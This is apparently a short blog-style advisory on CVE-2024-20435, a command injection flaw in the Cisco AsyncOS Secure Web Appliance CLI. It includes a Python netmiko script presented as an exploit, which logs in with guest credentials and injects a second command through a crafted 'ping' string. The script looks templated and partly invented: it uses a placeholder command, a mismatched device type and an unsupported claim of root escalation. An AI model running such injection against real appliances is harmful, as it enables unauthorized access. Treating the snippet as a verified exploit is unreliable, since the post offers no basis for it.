CVE-2024-20435 - Arbitrary Command Execution and Privilege Escalation in Cisco AsyncOS for Secure Web Appliance CLI

A critical security vulnerability has been found in the Command Line Interface (CLI) of Cisco AsyncOS for Secure Web Appliance. This vulnerability, tracked as CVE-2024-20435, allows an authenticated, local attacker to execute arbitrary commands and escalate privileges to root. The issue stems from insufficient validation of user-supplied input for the CLI.

In this post, we will delve into the details of the vulnerability, its potential impact, and provide a code snippet that demonstrates a possible exploit. We will also provide links to original references for further information and updates. If you are using the Cisco AsyncOS for Secure Web Appliance, it is crucial to address this vulnerability immediately.

Exploit Details

To successfully exploit this vulnerability, the attacker must have at least guest credentials. Once authenticated, the attacker can execute a crafted command on the affected device, which due to insufficient input validation, will execute arbitrary commands on the underlying operating system. In turn, this would allow the attacker to escalate their privileges to root.

Code Snippet

The following Python code snippet demonstrates how an attacker with guest credentials could exploit the vulnerability by executing a crafted command:

import sys
from netmiko import ConnectHandler

def exploit_cve_2024_20435(device_ip, username, password):
    cisco_device = {
        "device_type": "cisco_ios",
        "ip": device_ip,
        "username": username,
        "password": password,
    }

    # Establish SSH connection to the device
    connection = ConnectHandler(**cisco_device)

    # Crafted command for arbitrary command execution
    crafted_command = 'ping ' + '; arbitrary_command_here; #'

    # Execute the crafted command and escalate privileges to root
    output = connection.send_command(crafted_command)

    return output

if __name__ == "__main__":
    device_ip = sys.argv[1]
    username = sys.argv[2]
    password = sys.argv[3]

    print(exploit_cve_2024_20435(device_ip, username, password))

For further information on this vulnerability, please refer to the following sources

1. Cisco Security Advisory
2. NVD - National Vulnerability Database

Conclusion

CVE-2024-20435 is a severe vulnerability affecting the CLI of Cisco AsyncOS for Secure Web Appliance. As a user of this device, it is essential to take necessary steps to mitigate the risk associated with this vulnerability. Keep an eye on the official Cisco advisories and update your device as soon as patches are available. Stay vigilant and secure!

Timeline

Published on: 07/17/2024 17:15:14 UTC
Last modified on: 07/18/2024 12:28:43 UTC